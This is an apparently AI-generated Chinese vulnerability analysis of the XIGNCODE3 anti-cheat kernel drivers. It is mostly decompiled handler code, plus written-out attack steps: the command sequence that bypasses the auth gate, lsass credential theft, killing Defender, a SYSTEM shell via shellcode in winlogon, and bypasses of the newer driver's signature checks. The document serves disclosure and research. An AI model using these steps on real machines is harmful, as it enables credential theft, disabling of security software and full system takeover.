AIGC标识 【AI】 XIGNCODE3 反作弊内核驱动漏洞分析报告(xhunter1.sys / xhunter2.sys)

XIGNCODE3 反作弊内核驱动漏洞分析报告(xhunter1.sys / xhunter2.sys)

本文是对 Wellbia XIGNCODE3 反作弊内核驱动 xhunter1.sys(v2023.12.7.78) 与 xhunter2.sys(v2026.6.1.192) 的本地提权(LPE)漏洞分析记录。
内容综合自两篇公开研究文章、AxHunter项目源码


目录


1. 背景:反作弊进入 ring 0 的信任模型

内核态反作弊(kernel anti-cheat)运行在 ring 0,与 EDR/AV 拥有相同特权级别。要捕获用户态游戏作弊,反作弊必须能看到并作用在用户态边界之下,其信任模型与内核安全代理一致。这一模式成立的前提是:反作弊驱动至少与其它被允许进入 ring 0 的组件同等加固——尤其是,不能把特权原语交给“恰好打开其设备的任意进程”

当该前提被打破时,反作弊驱动不仅无法再防止作弊,反而会成为:

  • 每台正在运行该游戏的机器上的 实时 LPE 原语
  • 每台曾经运行过该游戏的机器上的 稳定 BYOVD 原语(驱动卸载后仍残留在磁盘)。

2. 目标驱动与样本信息

Wellbia.com Co., Ltd. 是韩国首尔的反作弊厂商,XIGNCODE3 是其旗舰产品,支持“全球超过 150 款在线游戏”,覆盖韩系及东亚市场(Black Desert、Lineage II、MapleStory SEA/JMS、AION、Blade & Soul 等),据其官网称“每日用户超过 10 亿”。

两份目标驱动样本:

属性 xhunter1.sys xhunter2.sys
版本 2023.12.7.78 2026.6.1.192
CVE 无(未分配) CVE-2026-15430
大小 215,864 字节
架构 x86-64 内核驱动 x86-64 内核驱动
设备 \\.\xhunter \Device\xhunter2(DO_BUFFERED_IO,无 DosDevices 符号链接)
签名 Wellbia + Microsoft WHQL Wellbia + Microsoft WHQL(Hardware Compatibility Publisher)
测试环境 Windows 11 24H2 build 26200(HVCI + VBS + MS VDBL) Windows 11 25H2 build 26200.8457(HVCI + VBS + MS VDBL)

关于 “one hash” 问题:Wellbia 会为每个游戏标题重新构建并签名 xhunter1.sys。不同游戏携带的 SHA-256 哈希不同,但功能上是同一驱动、同一版本字符串。上面文件中的 SHA-256(0D1FD685...C0FCF760)只是被逆向的具体样本,漏洞适用于任意 v2023.12.7.78 构建。因此基于单一哈希的封禁列表无法覆盖整个驱动族。

签名行至关重要:这不仅厂商签名,还携带 Microsoft WHQL 签名(嵌入二进制内),因此能在 Windows 11 的 Kernel Mode Code Signing、HVCI 下正常加载。这不是“来路不明的第三方程产补丁”,而是微软自己的签名基础设施认可的内核二进制。


3. 第一篇:xhunter1.sys v2023.12.7.78 —— 猎捕反作弊者

3.1 整体架构与协议

  • 用户态服务随游戏启动;内核驱动 xhunter1.sys 在 ring 0 做进程内省与完整性监控。
  • 驱动被安装到 C:\Windows游戏卸载后驱动不删除
  • 不使用 DeviceIoControl。命令通过 WriteFileIRP_MJ_WRITE)发送,使用固定 624 字节请求缓冲区。分发表按 opcode 路由。
  • 请求头:XHUNTER_MAGIC = 0x345821AB,长度 0x270,opcode 在 +0x0C
  • 分发表从 2018 年二进制的 25 个 handler 增长到 v2023.12.7.78 的 44 个

该漏洞类并不新鲜。IRP_MJ_WRITE 命令接口、624 字节结构化报文(magic 0x345821AB)、按 opcode 走分发表,以及命令 7850x311)通过 ObOpenObjectByPointer(AccessMode = KernelMode, HandleAttributes = 0) 铸造 PROCESS_ALL_ACCESS 句柄,早在 2018 年就被 Psychotropos 公开记录。旧版(v10.0.10011.16384)对应 CVE-2026-3609

Wellbia 声称该漏洞类已在 v2023.09.19.078(韩国 KVE 2023-5589,NDA 约束下无公开记录)修复,并声明“v2023.09.19.078 及以上不再受影响”。本报告验证的是 v2023.12.7.78(晚于其声称的修复阈值)。

3.2 认证门(auth gate):sub_140005E84

Wellbia 确实在 v2023.09.19.078 中加入了针对原始 bug 的修复,且该修复在反汇编中可见。补丁引入了按 PID 的认证门:每次进入特权 0x311 handler 前,都会用 PsGetCurrentProcessId() 在内部白名单(qword_140021BD8{PID, flags} 记录链表)中查找,并检查 (flags & 0x80000008) == 0x80000008

以下反编译为我在 IDA 中对 xhunter1.sys 实测所得:

// sub_140005E84 @ 0x140005E84 —— 认证门(IDA 实测)
bool sub_140005E84()
{
  unsigned int CurrentProcessId = PsGetCurrentProcessId();
  return (sub_140006204(CurrentProcessId) & 0x80000008) == 0x80000008;
}

sub_140006204 是白名单查找——一个互斥保护下的链表遍历(Flink walk):

// sub_140006204 @ 0x140006204 —— 遍历白名单查找调用者 PID(IDA 实测)
__int64 __fastcall sub_140006204(int a1)
{
  unsigned int v2 = 0;
  ExAcquireFastMutex(&FastMutex);
  for ( PVOID *i = (PVOID *)qword_140021BD8;
        i != &qword_140021BD8;
        i = (PVOID *)*i )                    // Flink walk
  {
    if ( *((_DWORD *)i + 4) == a1 )          // node+0x10 = PID
    {
      v2 = *((_DWORD *)i + 5);               // node+0x14 = flags
      break;
    }
  }
  ExReleaseFastMutex(&FastMutex);
  return v2;
}

被门控的 0x311 handler(sub_1400030B8)包装了与原始 bug 相同的 ObOpenObjectByPointer 原语,但现在位于门之后:

// sub_1400030B8 @ 0x1400030B8 —— cmd 785 handler(v2023.12.7.78,已加门)
__int64 __fastcall sub_1400030B8(_DWORD *a1, __int64 a2)
{
  *(_DWORD *)a2        = 0x270;              // 响应长度
  *(_DWORD *)(a2 + 4)  = 0x12121212;         // 响应 magic
  *(_DWORD *)(a2 + 0xC)= 0xC0000001;         // STATUS_UNSUCCESSFUL 默认
  *(_DWORD *)(a2 + 8)  = ~a1[2];             // xor-key 回显

  unsigned int v4 = a1[7];                   // req+0x1C —— 调用者提供的 ACCESS_MASK
  if ( sub_140005E84() )                     // ← 认证门
  {
    v5 = (unsigned int)a1[6];                // req+0x18 —— 调用者提供的 PID
    v7[1] = 0;
    v7[0] = v5;
    *(_DWORD *)(a2 + 0xC) =
        sub_1400087F4(&v8, v4, v7, 0);       // 铸造句柄
    *(_QWORD *)(a2 + 0x10) = v8;             // ← 句柄返回给用户态
  }
  else
  {
    *(_DWORD *)(a2 + 0xC) = 0xC0000001;      // 门拒绝
  }
  return 0;
}

未被改动、自 2018 年就存在的 ObOpenObjectByPointer 包装器 sub_1400087F4

// sub_1400087F4 @ 0x1400087F4 —— ObOpenObjectByPointer 包装器(IDA 实测)
__int64 __fastcall sub_1400087F4(void **a1, ACCESS_MASK a2, __int128 *a3, char a4)
{
  if ( a4 ) {
    ProbeForWrite(a1, 8u, 8u);
    ProbeForRead(a3, 0x10u, 4u);
    v14 = *a3;
  } else {
    v14 = *a3;
  }

  if ( *((_QWORD *)&v14 + 1) ) {
    v8 = PsLookupProcessThreadByCid(&v14, &v11, &Object);
    if ( v8 >= 0 ) ObfDereferenceObject(Object);
  } else {
    v8 = sub_14000C2EC(v14, &v11);           // PID → EPROCESS
  }

  if ( v8 >= 0 ) {
    v8 = ObOpenObjectByPointer(
            v11, 0, 0,                       // HandleAttributes=0,无 OBJ_KERNEL_HANDLE
            a2,                              // ← 调用者控制的 access mask
            (POBJECT_TYPE)PsProcessType,
            0,                               // ← AccessMode = KernelMode ⚠ PPL 绕过
            &Handle);
    ObfDereferenceObject(v11);
    if ( v8 >= 0 ) *a1 = Handle;
  }
  return (unsigned int)v8;
}

关键观察:读取白名单的 handler 被门控了,但写白名单的 handler 没有被认证

3.3 “把自己写进名单”:cmd 777 + cmd 775

分发表中另外两个 opcode 是对门所查询之列表的未认证写入

命令 0x309 / 777(handler sub_140003498):注册调用者自身 PID,并设置其白名单表项的 bit 31。

// sub_140003498 @ 0x140003498 —— cmd 777 handler。无认证检查(IDA 实测)
__int64 __fastcall sub_140003498(__int64 a1, _DWORD *a2)
{
  *a2    = 0x270;
  a2[1]  = 0x12121212;
  a2[3]  = 0xC0000001;
  a2[2]  = ~*(_DWORD *)(a1 + 8);

  CurrentProcessId = (unsigned int)PsGetCurrentProcessId();
  v4 = sub_140006A10(CurrentProcessId);   // register_pid —— 追加到白名单
  a2[3] = v4;
  if ( v4 < 0 ) return 0;
  sub_140006418(CurrentProcessId, 0x80000000LL);   // ← 设置高位标志:bit 31
  sub_140006C50(0xE01AC001, 0, 0, 0, 0);
  return 0;
}

sub_140006A10 是注册逻辑(一个 0x64 表项数组,重复注册返回 0xC0000001 表示“已注册”):

// sub_140006A10 —— register_pid(IDA 实测)
_InterlockedIncrement(&dword_140021E20);
if ( _InterlockedCompareExchange(&dword_140021C88, 0x64, 0x64) == 0x64 )
  return 0xC000009A;                        // 表已满
ExAcquireFastMutex(&stru_140021C40);
// ... 若重复则返回 0xC0000001;否则在数组中找空位写入 PID ...
dword_140021C90[v6] = a1;
ExReleaseFastMutex(&stru_140021C40);

sub_140006418(设置上位标志):

// sub_140006418 —— 设置调用者表项的上位标志(IDA 实测)
__int64 __fastcall sub_140006418(unsigned int a1, int a2)
{
  int v4 = sub_140006204(a1);              // 当前 flags
  return sub_140005FC8(a1, a2 & 0xFFFF0000 | v4);   // 写入 a2 的高 16 位
}

命令 0x307 / 775(handler sub_140001DD8):写入任意 PID 的低 16 位标志位。

// sub_140001DD8 @ 0x140001DD8 —— cmd 775 handler(IDA 实测)
__int64 __fastcall sub_140001DD8(_DWORD *a1, _DWORD *a2)
{
  *a2    = 0x270;
  a2[1]  = 0x12121212;
  a2[3]  = 0xC0000001;
  a2[2]  = ~a1[2];
  sub_140005F98((unsigned int)a1[6], (unsigned int)a1[7]);  // (PID, flags) → 写低16位
  a2[3]  = 0;
  return 0;
}

组合绕过

WriteFile(dev, cmd=777, ...)                            // 设置自身 PID 的 bit 31
WriteFile(dev, cmd=775, pid=self, flags=0x0008, ...)    // 设置自身 PID 的 bit 3
                                                        // → flags = 0x80000008,门通过
WriteFile(dev, cmd=785, pid=<target>, mask=0x1FFFFF)    // → PROCESS_ALL_ACCESS 句柄

即:0x80000000 | 0x0008 = 0x80000008 → 认证门 sub_140005E84 通过。

3.4 三个原语:cmd 785 / 787 / 800

xhunter1.sys 中,博客文章与 README 共指出三个核心原语(并额外关注了未加认证门的 cmd 815 注入原语与 cmd 817 完整性报告,见 §3.5):

  • cmd 785(0x311:PPL 绕过句柄铸造。ObOpenObjectByPointer(AccessMode = KernelMode),返回 PROCESS_ALL_ACCESS 句柄。
  • cmd 787(0x313:跨进程内存读。KeStackAttachProcess + memcpy
  • cmd 800(0x320:句柄踩踏(handle stomp)。KeStackAttachProcess + ObSetHandleAttributes(KernelMode) + ZwClose,可清除任意句柄上的 ProtectFromClose 并关闭之。

cmd 787(0x313)—— 跨进程内存读:handler sub_140003278

通过 IDA 分发表(sub_140002A3Cdword_1400217C0 = 0x313)确认,cmd 787 的 handler 是 sub_140003278。它受认证门保护(sub_140005E84),其核心是在 KeStackAttachProcess 下对目标进程做逐字节拷贝:

// sub_140003278 @ 0x140003278 —— cmd 787 handler(IDA 实测)
__int64 __fastcall sub_140003278(__int64 a1, _DWORD *a2)
{
  // ... 写响应头(0x270 长度 / 0x12121212 magic / 0xC0000001)
  if ( !sub_140005E84() ) { a2[3] = 0xC0000001; return 0; }  // 认证门

  v5 = *(_QWORD *)(a1 + 0x28);   // 目标缓冲 VA(驱动侧)
  v6 = *(_DWORD *)(a1 + 0x30);   // 读取字节数
  v7 = *(_QWORD *)(a1 + 0x20);   // 目标进程内源地址

  result = sub_140007874(*(HANDLE*)(a1 + 0x18), 0x10, &Object);  // 句柄 → EPROCESS
  CurrentProcess = IoGetCurrentProcess();
  if ( Object != CurrentProcess && sub_140005F24(Object) ) return ...; // 白名单/保护检查
  v11 = sub_1400081D0(v5, v6, &Mdl);          // 为目标缓冲建 MDL
  v12 = sub_140008924(Object, v7, v11, v6, &v15);  // KeStackAttachProcess 读
  a2[4] = v15;                                // 实际拷贝字节数
  sub_140007A74(Mdl, v11);                    // 清理 MDL
  ObfDereferenceObject(Object);
  return v12;
}

读原语本身 sub_140008924 是直白的 KeStackAttachProcess + 逐字节复制:

// sub_140008924 @ 0x140008924 —— KeStackAttachProcess 读(IDA 实测)
__int64 __fastcall sub_140008924(KPROCESS *a1, u64 a2, __int64 a3, unsigned int a4, unsigned int *a5)
{
  KAPC_STATE ApcState; v8 = 0;
  memset(&ApcState, 0, sizeof(ApcState));
  KeStackAttachProcess(a1, &ApcState);          // 附着到目标进程
  for ( i = 0; i < a4; ++i ) {
    if ( a2 >= (u64)MmSystemRangeStart ) { v8 = 0x8000000D; break; }  // 禁止读内核地址
    *(_BYTE *)(i + a3) = *(_BYTE *)(i + a2);    // 逐字节 memcpy
  }
  *a5 = i;                                      // 已拷贝字节数
  KeUnstackDetachProcess(&ApcState);            // 解除附着
  return v8;
}

配套辅助函数(IDA 实测):

  • sub_140007874 —— 句柄解析。先用 ObReferenceObjectByHandle(Handle, 0x10 /*PROCESS_VM_READ*/, ...),失败则穷举一组 ACCESS_MASK(0x1000,0x400,0x800,0x100,0x200,0x80,0x40,0x20,0x10,8,4,2,1,0x10000,0x20000,0x40000,0x80000,0x100000)重试——即“暴力匹配访问位”以拿到对象引用。
  • sub_1400081D0sub_1400081E0 —— 目标缓冲 IoAllocateMdl + MmProbeAndLockPages + MmMapLockedPagesSpecifyCache,把用户目标缓冲锁入内存以便内核写。
  • sub_140007A74 —— MmUnmapLockedPages + MmUnlockPages + IoFreeMdl 清理。
  • sub_140005F24 —— 目标进程白名单/保护状态检查。

注意:该原语附带一层轻量加固——源地址必须 < MmSystemRangeStart(只允许读用户态地址);且 sub_140005F24 会检查目标进程是否属于驱动自身的受保护/白名单进程集合,命中(如游戏本体的受保护进程)则拒绝操作。对于不在 XIGNCODE3 白名单内的普通进程(如 lsass.exe),这一检查不拦截;因此认证门一旦被 cmd 777+775 绕过,攻击者即可用 cmd 785 拿到句柄、再用 cmd 787 对任意普通进程做跨进程读。

cmd 800(0x320)—— 句柄踩踏

cmd 800 的 handler 是 sub_140001FF8(分发表 dword_140021870 = 0x320qword_140021878 = sub_140001FF8),它在 KeStackAttachProcess 附着到目标进程后,调用“清属性 + 关闭”内核辅助函数 sub_140003A1C(IDA 实测):

// sub_140003A1C @ 0x140003A1C —— 清句柄属性并关闭(IDA 实测)
__int64 __fastcall sub_140003A1C(HANDLE Handle, char a2)
{
  v5 = a2;
  v6 = 0;
  result = ObSetHandleAttributes(Handle, &v5, 0);   // 清 ProtectFromClose 等属性
  if ( (int)result < 0 ) return result;
  ZwClose(Handle);
  return v4;
}

cmd 800 的威胁在于:该命令没有调用者检查,仅要求目标具有 PROCESS_QUERY_LIMITED_INFORMATION 权限(Windows 默认给予任意调用者对任意 PPL 进程的该权限)。在 MsMpEng.exe(Defender,PPL-Antimalware-Light)的句柄表上迭代 cmd 800,即可在非特权上下文中可靠终止 Defender。

3.5 cmd 815:内核注入原语(及 cmd 816/817 说明)

结论:经 IDA 分发表逐项核对,0x32Fcmd 815)的 handler 实为 sub_140001E54,是一条未加认证门的内核 shellcode 注入链sub_140001E54sub_14000A028sub_14000A7A4)。AxHunter 源码中的 CMD_INJECT_THREAD = 815 与分发表一致,是正确的。完整性报告/自检分发器实际挂在 0x331cmd 817,handler sub_140001FB4sub_140003D28);0x330cmd 816)对应 handler sub_140002334(返回驱动内部状态结构,与注入无关)。

分发表(sub_140002A3C)中与这三者相邻的项(每项 dword opcode + qword handler):

地址 opcode handler 语义
0x140021970 0x331(817) qword_140021978 = sub_140001FB4 完整性报告/自检分发器
0x140021980 0x32F(815) qword_140021988 = sub_140001E54 内核注入链
0x140021990 0x330(816) qword_140021998 = sub_140002334 返回内部状态结构

cmd 815(0x32F)—— 真正的内核 shellcode 注入:sub_140001E54sub_14000A028sub_14000A7A4。handler sub_140001E54 无认证门,直接调用 sub_14000A028

// sub_140001E54 @ 0x140001E54 —— cmd 815 handler(IDA 实测,无认证门)
__int64 __fastcall sub_140001E54(__int64 a1, _DWORD *a2)
{
  *a2 = 0x270; a2[1] = 0x12121212; a2[3] = 0xC0000001; a2[2] = ~*(_DWORD *)(a1 + 8);
  a2[3] = sub_14000A028(a1 + 0x18, (__int64)(a2 + 4));  // 目标解析 + 注入
  return 0;
}

sub_14000A028 按请求的 mode 位(a1+0x48)解析目标进程:bit1 用句柄(sub_140007874)、bit2 用 PID(PsLookupProcessByProcessId)、bit4 用线程 ID(PsLookupThreadByThreadId + IoThreadToProcess)、bit8/0x10 用其它句柄源,随后统一进入注入核心 sub_14000A7A4

// sub_14000A7A4 @ 0x14000A7A4 —— 内核侧 shellcode 注入核心(IDA 实测)
// 1. 绕过 PPL + Ob 回调获得全句柄
if ( ObOpenObjectByPointer(a3, 0x200, 0, 0x1FFFFFu, PsProcessType, 0, &ProcessHandle) < 0 )
    return 0xE01AF018;
// 2. 在目标地址空间 RWX 分配(MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE=0x40)
if ( ZwAllocateVirtualMemory(ProcessHandle, &BaseAddress, 0, &RegionSize, 0x3000, 0x40) < 0 )
    return 0xE01AF017;
// 3. 把调用者提供的字节复制进分配区(sub_140008BC0)
sub_140008BC0((_DWORD)a3, (_DWORD)BaseAddress, a1, ...);
// 4. 经函数指针表 qword_140022010 / qword_140022018 启动线程,
//    入口 = BaseAddress + entry_offset(分别为 RtlCreateUserThread / NtCreateThreadEx 形态)
if ( qword_140022010 )  qword_140022010(ProcessHandle, 0,0,0,0,0, (char*)BaseAddress + v7, BaseAddress, &v23, &v28);
else                    qword_140022018(&v23, 0x1FFFFF, &v25, -1, (char*)BaseAddress + v16, BaseAddress, 4, 0, 0x1000, 0x100000, 0);
// 5. 阻塞等待注入线程返回
if ( v23 ) { ZwWaitForSingleObject(v23, 0, 0); ZwClose(v23); sub_140009208(a3, ProcessHandle, BaseAddress, a2); }
// 6. 清理

注入链真实存在,且就是挂在 0x32F(815)——与 AxHunter 源码 CMD_INJECT_THREAD=815 一致。

cmd 816(0x330)—— handler sub_140002334(返回结构,非注入)。该 handler 读取全局对象 qword_140022068 所指向的结构,把其中大量字段(0x30/0x58/0x68/0x4C/0x50/0x40/0x5C/0x48/0x60/0x64/0x44/0x94/0x90/0x8C/0x80/0x78/0x88/0x7C/0x84/0x9C/0xA8/0xA0/0xA4/0xAC/0xB4/0xBC/0xB8/0xB0/0x20/0x28/0x18 等)逐一写入响应缓冲区,本质是返回驱动/被保护进程的内部状态,与注入无关。

cmd 817(0x331)—— handler sub_140001FB4(无认证门),完整性报告/自检分发器

// sub_140001FB4 @ 0x140001FB4 —— cmd 817 handler(IDA 实测,无认证门)
__int64 __fastcall sub_140001FB4(__int64 a1, _DWORD *a2)
{
  *a2    = 0x270;
  a2[1]  = 0x12121212;
  a2[3]  = 0xC0000001;
  a2[2]  = ~*(_DWORD *)(a1 + 8);
  a2[3]  = sub_140003D28(a1 + 0x18, a2 + 4);   // 完整性报告分发器
  return 0;
}

sub_140003D28 是一个按 flags 位分派的报告子分发器

// sub_140003D28 @ 0x140003D28 —— 完整性报告分发器(IDA 实测)
__int64 __fastcall sub_140003D28(__int64 a1, _DWORD *a2)
{
  *a2 = 0;
  result = sub_14000B828(qword_14000E0B0);     // 前置门检查(失败即返回)
  if ( (int)result < 0 ) return result;
  if ( (*(_DWORD *)a1 & 1) != 0 )              // bit 0:进程/线程身份自检
    return sub_140003B18(a2, *(_QWORD *)(a1 + 4), *(_QWORD *)(a1 + 0xC));
  if ( (*(_DWORD *)a1 & 2) != 0 )              // bit 1:按子类型分派报告
  {
    switch ( *(_DWORD *)(a1 + 4) ) {
      case 1: return sub_140003DC8(a2);   // 读取驱动全局状态(32 字节)
      case 2: return sub_140003E98(a2);   // 运行完整性回调
      case 4: return sub_140003E54(a2);   // 运行完整性回调
      case 8: return sub_140003ADC(a2);   // 运行完整性回调
    }
  }
  return 0xC000000DLL;
}

各子函数(IDA 实测)均为完整性/自检语义,而非注入:

  • sub_140003B18 —— 给定 PID/TID,用 PsLookupProcessByProcessId / PsLookupThreadByThreadId 解析并校验对象类型的归属,返回一组错误位(0x200/0x400/0x1000/0x2000/0x4000/0x8000/0x10000/0x20000),用于“受保护进程匹配”上报。
  • sub_140003DC8 —— 从 sub_140004080 取得的一个全局地址处读取至多 32 字节(MmIsAddressValid 保护),上报驱动内部状态。
  • sub_140003E98 / sub_140003E54 / sub_140003ADC —— 调用 sub_14000D0C8(sub_1400044F8,…) / sub_14000D030(sub_140004464) / sub_1400045B4 等工作器,执行完整性回调。

注入链 handler sub_140001E54 与完整性报告 handler sub_140001FB4无认证门,自任意非特权调用者可达。

3.6 攻击链与利用流程

三个原语 + 一个认证绕过,构成一条完整利用链:

  1. 凭据窃取(PPL lsass):cmd 777 + cmd 775 把自身写入白名单 → cmd 785 拿到 lsass.exe 的 PPL 绕过句柄 → 内核态读取 LogonSessionList,提取 NT/SHA1 哈希与(存在时)WDigest 明文。前提是必须有游戏会话在运行
  2. EDR 击杀(handle stomp):cmd 785 拿到 MsMpEng.exe 句柄 → 枚举其句柄表 → cmd 800 逐个关闭受保护句柄,可靠杀掉 Defender。
  3. 交互式 SYSTEM shell:cmd 785 拿到 winlogon.exe 句柄 → VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 运行 41 字节 shellcode:WinExec("cmd.exe", SW_SHOW)。子进程继承 winlogon 的 NT AUTHORITY\SYSTEM token 与 Session 1。

利用不对称性:攻击者只需在游戏会话运行时发送三条 WriteFile;而修复只覆盖了读白名单的一侧,没覆盖写白名单的一侧。


4. 第二篇:xhunter2.sys v2026.6.1.192 —— 三层认证

Wellbia 对第一篇的回应是一次完整的内核驱动重写xhunter2.sys(v2026.6.1.192)。新协议、新帧格式、加密传输、三层独立的密码学认证层包裹整个分发表。这是真实工程投入,明显提高了触及原语的反向工程门槛。

但原语(cmd 785 / 787 / 800)本身逐字节保留未变。本文只关注三层认证如何被逆向与绕过。

4.1 新协议与帧格式

  • DeviceIoControlMajorFunction 表挂钩 IRP_MJ_CREATEIRP_MJ_CLOSEIRP_MJ_WRITE。每个命令都是 write。
  • 无符号链接(无 \??\xhunter2\\.\xhunter2),必须用 NtCreateFile 打开原始 NT 路径。
  • 打开失败时撒谎:普通 NtCreateFile 返回 STATUS_OBJECT_NAME_NOT_FOUND0xC0000034)——设备对象明明在命名空间里,驱动却谎称“不存在”。WBCC 格式错误返回 STATUS_INVALID_PARAMETER;PE base 错误返回 STATUS_NOT_FOUND;RSA 签名不匹配返回 STATUS_NOT_FOUND。所有失败都返回 STATUS_ACCESS_DENIED 以外的值,处处撒谎。
  • 分发表共 45 个 opcode(774..822)。

帧接受门 sub_14000F5AC

// sub_14000F5AC @ 0x14000F5AC —— 帧接受门(IDA 实测)
__int64 __fastcall sub_14000F5AC(__int64 a1, __int64 a2, __int64 a3)
{
  _DWORD *v4;
  if ( *(_DWORD *)(a1 + 8) == a3 &&
       (v4 = *(_DWORD **)(a2 + 0x18), v4[6] == a3) &&
       (v4[7] ^ v4[8]) == 0x70506202 )        // 0x70506202
    return *(_QWORD *)(a2 + 0x18);
  return 0;
}

两个长度字段 + 一个由调用者选择的种子派生的 magic 单词。SEED_KEY = 0x41414141 由调用者固定,位于 v4[8](帧字节 32);magic 0x70506202 位于 v4[7](字节 28),存为 MAGIC ^ SEED_KEY。检查简化为固定偏移处的明文 magic 单词。

解密后帧布局(1184 字节):

偏移 大小 字段
24-27 4 长度哨兵(0x4A0
28-31 4 MAGIC ^ SEED_KEY
32-35 4 SEED_KEY(固定 0x41414141
36-39 4 opcode
40-47 8 响应缓冲区 VA(用户空间)
48-583 536 WBCC blob(认证层 2)
584-1183 600 handler 参数

协议怪癖:请求内嵌的响应缓冲区 VA 由调用者提供,驱动直接把响应写回用户内存——不走 IRP.UserBuffer,不走 IRP 输出缓冲区,而是帧内的裸用户指针。

4.2 LCG-XOR 加密传输

追踪 sub_14000F5B4 及相邻解密辅助函数,显示一个带固定乘数/增量的线性同余生成器(LCG),以及由 SEED_KEY 派生的每消息种子:

s0 = 1864026567 - 1640531535 * (SEED_KEY ^ 0x7B85F243)
sn = 1664525 * s(n-1) + 1013904223
byte[n] ^= (sn >> 23) & 0xFF

应用于请求的字节 [36..1183]。响应使用同样的 LCG,种子用 SEED_KEY ^ 0x847A0DBC,覆盖 786 字节。响应 magic 位于偏移 28,为 0x20260507——Wellbia 的日历年度构建水印,可作为版本指纹。

4.3 认证层 1:IRP_MJ_CREATE 处的 WBMF 校验

打开设备落到 sub_140002C80。该函数拉取用户指针、用 sub_140009108 走 PE(按 magic 索引 2605 的 PE 资源/节查找,解析 WBMF blob 于 PE 相对偏移 +0x290A0)、ProbeForRead 恰好 484 字节、复制出来、检查 "WBMF" magic(0x464D4257),然后用 sub_140003BA8(SHA-256)对 228 字节哈希,并用 sub_1400039E8 对 256 字节签名做 RSA-2048 验证(公钥硬编码于 0x140014400)。

IDA 实测 sub_140002C80(关键部分):

// sub_140002C80 @ 0x140002C80 —— WBMF 校验器(IDA 实测,关键路径)
if ( !a1 || a1 >= MmHighestUserAddress )  return 0xC000000D;
result = sub_1400093D8(a1);                // 基本 PE 健全性
if ( result < 0 ) return result;
result = sub_140009108((_DWORD)a1, (unsigned int)&v25, 0xA2D, &Address, &v13); // 索引 2605
if ( result < 0 ) return result;
if ( v13 != 0x1E4 ) return 0xC000007B;     // 484 字节
ProbeForRead(Address, 0x1E4u, 1u);
// ... 复制 484 字节到栈 ...
if ( v15 != 0x464D4257 || v16 != 0x1E4 )  return 0xC000007B;  // "WBMF", 484
if ( v17 != 1 )                           return 0xC0000059;  // 版本
// ... 校验 blob 内偏移与缓冲区边界 ...
sub_140003BA8(&v15, 0xE4, v26);                           // sha256(WBMF 228 字节)
if ( !(unsigned __int8)sub_1400039E8(&unk_140014400, 0x100, 0x10001,
                                      v26, 0x20, v24, 0x100) )
  return 0xC000A000;                                     // 签名不匹配
// 成功时运行 blob 关联的签名代码完整性回调 ...

公钥前 32 字节:

A3 73 80 AA 6A 43 CE 12 E9 E2 36 A3 30 D5 CF 61
63 1B BA DA E1 9B BD 3D 75 16 98 72 C0 4E 3B CE

这是针对真实 Wellbia 签名的真实 2048 位 RSA 验证,不是可预映像的哈希检查。发送的东西必须是已经携带 Wellbia 签名的 WBMF 携带型 PE。

第二个调用点收紧了螺丝:sub_1400027F4(layer-2 WBCC handler)会第二次调用 sub_140002C80,用通过 ZwQueryInformationThread(ThreadQuerySetWin32StartAddress) 获取的 PsGetCurrentThread()Win32StartAddress。该值必须落在 WBMF PE 的 VA 范围内。即使有签名 PE,调用线程也必须从该 PE 内的某个地址开始执行

WBMF PE 在哪里:XIGNCODE3 用户态组件把 WBMF DLL 注入每个 WindSlayer.exe 进程,且从不落盘。可通过 System Informer 对游戏进程做 Full dump,扫 .dmp 中的 "WBMF"0x464D4257),在对应 VA 0x10000000 + 0x290A0 处找到 blob,再切出 VA 0x10000000 起 0x2C000 字节的 PE → wbmf_module.dll

绕过层 1

  1. 把提取的 DLL 以首选基址(0x10000000)映射为扁平文件镜像(驱动只读固定偏移,节无需重对齐)。
  2. 在映射区内种入原生 worker 入口点,启动指向它的线程。典型形态是写入 PE 内某偏移的 14 字节绝对间接 JMP:
FF 25 00 00 00 00   jmp qword ptr [rip+0]
<abs64 target>

CreateThread(start=pe+0x500) 产生 Win32StartAddress == pe+0x500,落在范围内。从该线程 NtCreateFile("\Device\xhunter2", ..., EaBuffer=WBCT{pe_base=0x10000000}),其中 WBCT 是 536 字节 EA blob,名字为 "WBCT\0",把 PE base 带回驱动。

WBMF RSA 对 pe+0x290A0 处的 blob 验证——通过,因为那是 Wellbia 对 Wellbia blob 的签名。Win32StartAddress 检查通过,设备句柄返回。

Wellbia 的假设是 WBMF 签名验证证明调用者身份。它不证明身份——它只证明调用者读过游戏内存。每台运行该游戏的机器上,任何同用户进程都能做到这一点。

4.4 认证层 2:每请求 WBCC 证书校验

打开设备只换来一个句柄。尝试任意真实 opcode 立即从 sub_1400027F4 返回新的失败。这是 WBCC handler,在每次分发前运行:

IDA 实测 sub_1400027F4(关键部分):

// sub_1400027F4 @ 0x1400027F4 —— 每请求 WBCC 校验器(IDA 实测,关键路径)
if ( !a1 || *(_DWORD *)a1 != 0x43434257        // "WBCC"
        || *(_WORD *)(a1 + 4) != 0x218 )       // 536
  return 0xC000000D;                            // STATUS_INVALID_PARAMETER
if ( *(_WORD *)(a1 + 6) != 1 ) return 0xC0000059;  // 版本
v3 = *(_QWORD *)(a1 + 0x10);                    // WBCC+16 = pe_base
if ( !v3 || *(_DWORD *)(a1 + 0xC) > 0x40u || v3 >= MmHighestUserAddress )
  return 0xC000000D;

result = sub_1400021E8(&v17, &v16);             // 取调用线程的 Win32StartAddress
result = sub_140002C80(v4, 0, "call", &v15);    // 重新验证 WBMF RSA
...
// 若线程未从 PE 内启动,则也验证该 PE
if ( (v17 < v4 || v17 >= &v4[v15]) && v16 != v4 )
  result = sub_140002C80(v16, v17, "callthread", 0);
...
// 把 WBCC 表项复制进栈缓冲区,然后迭代证书链
result = sub_1400029B8(&v18, v4, v16);

证书链迭代器 sub_1400029B8(IDA 实测):

// sub_1400029B8 @ 0x1400029B8 —— 证书链迭代器(IDA 实测)
if ( !a1 ) return 0xC000000D;
v6 = *(_DWORD *)(a1 + 0xC);                    // 表项数量
if ( v6 > 0x40 ) return 0xC000000D;
v7 = 0;
if ( !v6 ) return 0;                            // ⚠ count=0 立即成功
while ( 1 ) {
  v8 = *(char **)(a1 + 8 * v7 + 0x18);          // 逐个表项
  if ( !v8 || v8 >= MmHighestUserAddress ) break;
  if ( v8 != a2 && v8 != a3 ) {
    // 检查重复项 ...
    sub_140003660(v12, 0x20, "extra%u", v7);
    result = sub_140002C80(v8, 0, v12, 0);      // 对每个"额外"PE 再跑 WBMF RSA
    if ( result < 0 ) return result;
  }
  v7 = v7 + 1;
  if ( v7 >= *(_DWORD *)(a1 + 0xC) ) return 0;
}
return 0xC000000D;
